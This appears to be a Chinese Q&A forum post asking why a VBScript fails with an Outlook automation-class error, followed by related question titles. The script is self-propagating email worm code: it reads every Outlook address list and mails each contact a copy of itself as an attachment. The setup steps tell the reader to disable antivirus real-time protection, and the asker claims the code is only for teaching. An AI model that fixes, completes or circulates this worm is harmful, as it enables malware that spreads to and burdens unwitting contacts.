关于下面一段vb代码，哪里有问题？

在机器上的C：根目录下创建空文件test.vbs。
关闭反病毒软件的实时防护功能。
把下面代码录入到test.vbs文件里。
运行脚本文件
不能执行，为什么？
错误提示：“无法找到名为“Outlook.Aapplication”的automation类”

Set objOA = Wscript.CreateObject("Outlook.Application")
Set objMapi = objOA.GetNameSpace("MAPI")
For i = 1 to objMapi.AddressLists.Count
Set objAddList = objMapi.AddressLists(i)
For j =1 To objAddList.AddressEntries.Count
Set objMail = objOA.CreateItem(0)
ObjMail.Recipients.Add(objAddList.AddressEntries(j))
ObjMail.Subject = "你好!"
ObjMail.Body = "这次给你的附件时我实验题！如果收到附件轻不要下载，不要打开。"
ObjMail.Attachments.Add("c:\test.vbs")
ObjMail.Sent
Next
Next
Set objMapi = Nothing
Set objOA = Nothing
我是用来教学的，没有其他目的
outlook是系统自带的，而且能够使用

VB问题：下面代码有什么问题？ 关于写一段VB代码 关于VB中文本框的一段代码的问题！ vb问题 下面的代码有什么问题高手指教！ 请帮我看一下下面一段vb代码 一段VB基础的代码问题 一段VB代码的问题，VB高手请近来帮帮忙 关于VB的代码问题 求一段VB代码 求一段vb代码